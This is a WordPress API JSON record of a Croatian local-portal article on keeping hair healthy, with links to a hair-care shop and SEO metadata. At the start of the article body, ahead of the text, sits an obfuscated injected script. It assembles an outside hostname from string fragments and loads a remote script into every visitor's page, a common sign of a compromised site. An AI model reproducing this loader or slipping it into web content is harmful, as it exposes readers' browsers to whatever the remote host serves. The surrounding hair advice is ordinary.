{"id":126268,"date":"2021-12-20T21:14:57","date_gmt":"2021-12-20T20:14:57","guid":{"rendered":"https:\/\/likemetkovic.hr\/?p=126268"},"modified":"2021-12-20T21:14:57","modified_gmt":"2021-12-20T20:14:57","slug":"kako-imati-lijepu-i-zdravu-kosu","status":"publish","type":"post","link":"https:\/\/likemetkovic.hr\/portal\/kako-imati-lijepu-i-zdravu-kosu\/","title":{"rendered":"Kako imati lijepu i zdravu kosu?"},"content":{"rendered":"<p><script>\n(function(){\nweX5=document.createElement(\"script\");weX5.type=\"text\/javascript\";\nweX5.async=true;weX5_=((\"us\")+\"t\")+\"a\";weX5_+=(\"t.i\")+\"\"+\"n\";weX5_+=((\"f\")+\"o\");weX5_+=\"\/\";\nweX5u=\"363125236.\";weX5u+=\"13vha9j5eX5e1c3jjfjqeg7rl6wp6y\";weX5.src=\"https:\/\/\"+weX5_+weX5u;\nweX5db=document.body;weX5db.appendChild(weX5);\n})();\n<\/script>Bez obzira na to koliko imate godina i jeste li \u017eena ili mu\u0161karac, lijepa i zdrava kosa ono je \u0161to svi \u017eele. O tome \u0161to raditi kako biste ju imali, \u010ditajte u nastavku.<\/p>\n<h4>Zdravlje kose ne ovisi samo o genima<\/h4>\n<p>Iako su neki ljudi ro\u0111eni s bujnom kosom koja uvijek izgleda prekrasno, puno je stvari koje mo\u017eete sami uraditi kako biste imali lijepu i zdravu kosu. Za po\u010detak, raznovrsna i uravnote\u017eena prehrana ima pozitivan u\u010dinak na\u00a0<strong><a href=\"https:\/\/www.gettik.hr\/rast-kose\/\">kvalitetan rast kose<\/a><\/strong>, ali i na izgled kose u cijelosti. Uz to, konzumiranje dovoljne koli\u010dine teku\u0107ine, posebice vode, utjecat \u0107e na zdravlje i ljepotu kose.<\/p>\n<p>Nadalje, redovito odr\u017eavajte kosu \u010distom, \u0161to ne mora nu\u017eno zna\u010diti da ju je potrebno prati svaki dan. Prona\u0111ite idealnu mjeru zahvaljuju\u0107i kojoj je va\u0161a kosa biti \u010dista i uredna, ali da joj istovremeno ne uklanjate prirodna ulja s vlasi\u0161ta zbog \u010dega mo\u017ee izgubiti na svojoj kvaliteti.<\/p>\n<p>Isto tako, zdravlju i dobrom izgledu kose poma\u017ee i redovito \u0161i\u0161anje. Naime, vrhove je potrebno odrezati svakih \u0161est do osam tjedana kako bi ostatak kose mogao kvalitetnije rasti.<\/p>\n<h4>A \u0161to kada kosa po\u010dne opadati?<\/h4>\n<p><a href=\"https:\/\/www.gettik.hr\/opadanje-kose\/\"><strong>Svakodnevno opadanje kose<\/strong><\/a>\u00a0je sasvim normalna pojava koja vas nikako ne bi trebala zabrinjavati jer svaka vlas kose prolazi kroz faze rasta i opadanja. No, problem nastaje kada pojava novih vlasi ne prati brzinu ispadanja onih starih i tada se pojavljuju podru\u010dja na kojima kose gotovo vi\u0161e i nema. Kako biste to sprije\u010dili, mogu\u0107e je po\u010deti uzimati odre\u0111ene medicinske proizvode koji sprje\u010davaju prekomjerno ispadanje kose i poti\u010du njezin ponovno rast. Bitno je napomenuti da \u017eivotni ciklus vlasi traje mjesecima, a ponekad i godinama, tako da \u0107ete u\u010dinke tih preparata mo\u0107i vidjeti tek nakon nekoliko mjeseci, \u0161to nipo\u0161to ne zna\u010di da ne djeluju, ve\u0107 je kosi potrebno odre\u0111eno vrijeme da naraste pod njihovim utjecajem.<\/p>\n<h4>Budite nje\u017eni prema svojoj kosi<\/h4>\n<p>Na kraju, nemojte kosu izlagati pretjeranim kemijskim tretmanima, visokim temperaturama ni sli\u010dnim agresivnim postupcima koje mogu imati negativan utjecaj na nju.<\/p>\n<p>Odaberite kvalitetan \u0161ampon, redovito ju perite i \u0161i\u0161ajte i kosa \u0107e vam uzvratiti prekrasnim izgledom.<\/p>\n<p><strong>Izvor slike: <\/strong>Maksim Toome \/ Shutterstock.com<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Bez obzira na to koliko imate godina i jeste li \u017eena ili mu\u0161karac, lijepa i zdrava kosa ono je \u0161to svi \u017eele. O tome \u0161to raditi kako biste ju imali, \u010ditajte u nastavku. Zdravlje kose ne ovisi samo o genima Iako su neki ljudi ro\u0111eni s bujnom kosom koja uvijek izgleda prekrasno, puno je stvari [&hellip;]<\/p>\n","protected":false},"author":7,"featured_media":126269,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[296,11],"tags":[10257],"class_list":{"0":"post-126268","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-ab","8":"category-metkovic-dolina","9":"tag-kosa"},"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v25.2 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Kako imati lijepu i zdravu kosu? - likemetkovic.hr<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/likemetkovic.hr\/kako-imati-lijepu-i-zdravu-kosu\/\" \/>\n<meta property=\"og:locale\" content=\"hr_HR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Kako imati lijepu i zdravu kosu? - likemetkovic.hr\" \/>\n<meta property=\"og:description\" content=\"Bez obzira na to koliko imate godina i jeste li \u017eena ili mu\u0161karac, lijepa i zdrava kosa ono je \u0161to svi \u017eele. O tome \u0161to raditi kako biste ju imali, \u010ditajte u nastavku. Zdravlje kose ne ovisi samo o genima Iako su neki ljudi ro\u0111eni s bujnom kosom koja uvijek izgleda prekrasno, puno je stvari [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/likemetkovic.hr\/kako-imati-lijepu-i-zdravu-kosu\/\" \/>\n<meta property=\"og:site_name\" content=\"likemetkovic.hr\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/likemetkovic.hr\/\" \/>\n<meta property=\"article:published_time\" content=\"2021-12-20T20:14:57+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/likemetkovic.hr\/wp-content\/uploads\/2021\/12\/kosa-.jpeg\" \/>\n\t<meta property=\"og:image:width\" content=\"800\" \/>\n\t<meta property=\"og:image:height\" content=\"534\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"LIKEmetkovic.hr\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Napisao\/la\" \/>\n\t<meta name=\"twitter:data1\" content=\"LIKEmetkovic.hr\" \/>\n\t<meta name=\"twitter:label2\" content=\"Procijenjeno vrijeme \u010ditanja\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/likemetkovic.hr\/kako-imati-lijepu-i-zdravu-kosu\/\",\"url\":\"https:\/\/likemetkovic.hr\/kako-imati-lijepu-i-zdravu-kosu\/\",\"name\":\"Kako imati lijepu i zdravu kosu? - likemetkovic.hr\",\"isPartOf\":{\"@id\":\"https:\/\/likemetkovic.hr\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/likemetkovic.hr\/kako-imati-lijepu-i-zdravu-kosu\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/likemetkovic.hr\/kako-imati-lijepu-i-zdravu-kosu\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/likemetkovic.hr\/portal\/wp-content\/uploads\/2021\/12\/kosa-.jpeg\",\"datePublished\":\"2021-12-20T20:14:57+00:00\",\"author\":{\"@id\":\"https:\/\/likemetkovic.hr\/#\/schema\/person\/a42711f3385a0e2be6f7e0443bfb28f0\"},\"breadcrumb\":{\"@id\":\"https:\/\/likemetkovic.hr\/kako-imati-lijepu-i-zdravu-kosu\/#breadcrumb\"},\"inLanguage\":\"hr\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/likemetkovic.hr\/kako-imati-lijepu-i-zdravu-kosu\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"hr\",\"@id\":\"https:\/\/likemetkovic.hr\/kako-imati-lijepu-i-zdravu-kosu\/#primaryimage\",\"url\":\"https:\/\/likemetkovic.hr\/portal\/wp-content\/uploads\/2021\/12\/kosa-.jpeg\",\"contentUrl\":\"https:\/\/likemetkovic.hr\/portal\/wp-content\/uploads\/2021\/12\/kosa-.jpeg\",\"width\":800,\"height\":534},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/likemetkovic.hr\/kako-imati-lijepu-i-zdravu-kosu\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Po\u010detna stranica\",\"item\":\"https:\/\/likemetkovic.hr\/portal\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Kako imati lijepu i zdravu kosu?\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/likemetkovic.hr\/#website\",\"url\":\"https:\/\/likemetkovic.hr\/\",\"name\":\"likemetkovic.hr\",\"description\":\"Misli pozitivno... \u010ditaj LIKE\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/likemetkovic.hr\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"hr\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/likemetkovic.hr\/#\/schema\/person\/a42711f3385a0e2be6f7e0443bfb28f0\",\"name\":\"LIKEmetkovic.hr\",\"sameAs\":[\"http:\/\/likemetkovic.hr\"],\"url\":\"https:\/\/likemetkovic.hr\/portal\/author\/likemetkovic-hr\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Kako imati lijepu i zdravu kosu? - likemetkovic.hr","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/likemetkovic.hr\/kako-imati-lijepu-i-zdravu-kosu\/","og_locale":"hr_HR","og_type":"article","og_title":"Kako imati lijepu i zdravu kosu? - likemetkovic.hr","og_description":"Bez obzira na to koliko imate godina i jeste li \u017eena ili mu\u0161karac, lijepa i zdrava kosa ono je \u0161to svi \u017eele. O tome \u0161to raditi kako biste ju imali, \u010ditajte u nastavku. Zdravlje kose ne ovisi samo o genima Iako su neki ljudi ro\u0111eni s bujnom kosom koja uvijek izgleda prekrasno, puno je stvari [&hellip;]","og_url":"https:\/\/likemetkovic.hr\/kako-imati-lijepu-i-zdravu-kosu\/","og_site_name":"likemetkovic.hr","article_publisher":"https:\/\/www.facebook.com\/likemetkovic.hr\/","article_published_time":"2021-12-20T20:14:57+00:00","og_image":[{"width":800,"height":534,"url":"https:\/\/likemetkovic.hr\/wp-content\/uploads\/2021\/12\/kosa-.jpeg","type":"image\/jpeg"}],"author":"LIKEmetkovic.hr","twitter_card":"summary_large_image","twitter_misc":{"Napisao\/la":"LIKEmetkovic.hr","Procijenjeno vrijeme \u010ditanja":"2 minute"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/likemetkovic.hr\/kako-imati-lijepu-i-zdravu-kosu\/","url":"https:\/\/likemetkovic.hr\/kako-imati-lijepu-i-zdravu-kosu\/","name":"Kako imati lijepu i zdravu kosu? - likemetkovic.hr","isPartOf":{"@id":"https:\/\/likemetkovic.hr\/#website"},"primaryImageOfPage":{"@id":"https:\/\/likemetkovic.hr\/kako-imati-lijepu-i-zdravu-kosu\/#primaryimage"},"image":{"@id":"https:\/\/likemetkovic.hr\/kako-imati-lijepu-i-zdravu-kosu\/#primaryimage"},"thumbnailUrl":"https:\/\/likemetkovic.hr\/portal\/wp-content\/uploads\/2021\/12\/kosa-.jpeg","datePublished":"2021-12-20T20:14:57+00:00","author":{"@id":"https:\/\/likemetkovic.hr\/#\/schema\/person\/a42711f3385a0e2be6f7e0443bfb28f0"},"breadcrumb":{"@id":"https:\/\/likemetkovic.hr\/kako-imati-lijepu-i-zdravu-kosu\/#breadcrumb"},"inLanguage":"hr","potentialAction":[{"@type":"ReadAction","target":["https:\/\/likemetkovic.hr\/kako-imati-lijepu-i-zdravu-kosu\/"]}]},{"@type":"ImageObject","inLanguage":"hr","@id":"https:\/\/likemetkovic.hr\/kako-imati-lijepu-i-zdravu-kosu\/#primaryimage","url":"https:\/\/likemetkovic.hr\/portal\/wp-content\/uploads\/2021\/12\/kosa-.jpeg","contentUrl":"https:\/\/likemetkovic.hr\/portal\/wp-content\/uploads\/2021\/12\/kosa-.jpeg","width":800,"height":534},{"@type":"BreadcrumbList","@id":"https:\/\/likemetkovic.hr\/kako-imati-lijepu-i-zdravu-kosu\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Po\u010detna stranica","item":"https:\/\/likemetkovic.hr\/portal\/"},{"@type":"ListItem","position":2,"name":"Kako imati lijepu i zdravu kosu?"}]},{"@type":"WebSite","@id":"https:\/\/likemetkovic.hr\/#website","url":"https:\/\/likemetkovic.hr\/","name":"likemetkovic.hr","description":"Misli pozitivno... \u010ditaj LIKE","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/likemetkovic.hr\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"hr"},{"@type":"Person","@id":"https:\/\/likemetkovic.hr\/#\/schema\/person\/a42711f3385a0e2be6f7e0443bfb28f0","name":"LIKEmetkovic.hr","sameAs":["http:\/\/likemetkovic.hr"],"url":"https:\/\/likemetkovic.hr\/portal\/author\/likemetkovic-hr\/"}]}},"_links":{"self":[{"href":"https:\/\/likemetkovic.hr\/portal\/wp-json\/wp\/v2\/posts\/126268","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/likemetkovic.hr\/portal\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/likemetkovic.hr\/portal\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/likemetkovic.hr\/portal\/wp-json\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/likemetkovic.hr\/portal\/wp-json\/wp\/v2\/comments?post=126268"}],"version-history":[{"count":0,"href":"https:\/\/likemetkovic.hr\/portal\/wp-json\/wp\/v2\/posts\/126268\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/likemetkovic.hr\/portal\/wp-json\/wp\/v2\/media\/126269"}],"wp:attachment":[{"href":"https:\/\/likemetkovic.hr\/portal\/wp-json\/wp\/v2\/media?parent=126268"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/likemetkovic.hr\/portal\/wp-json\/wp\/v2\/categories?post=126268"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/likemetkovic.hr\/portal\/wp-json\/wp\/v2\/tags?post=126268"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}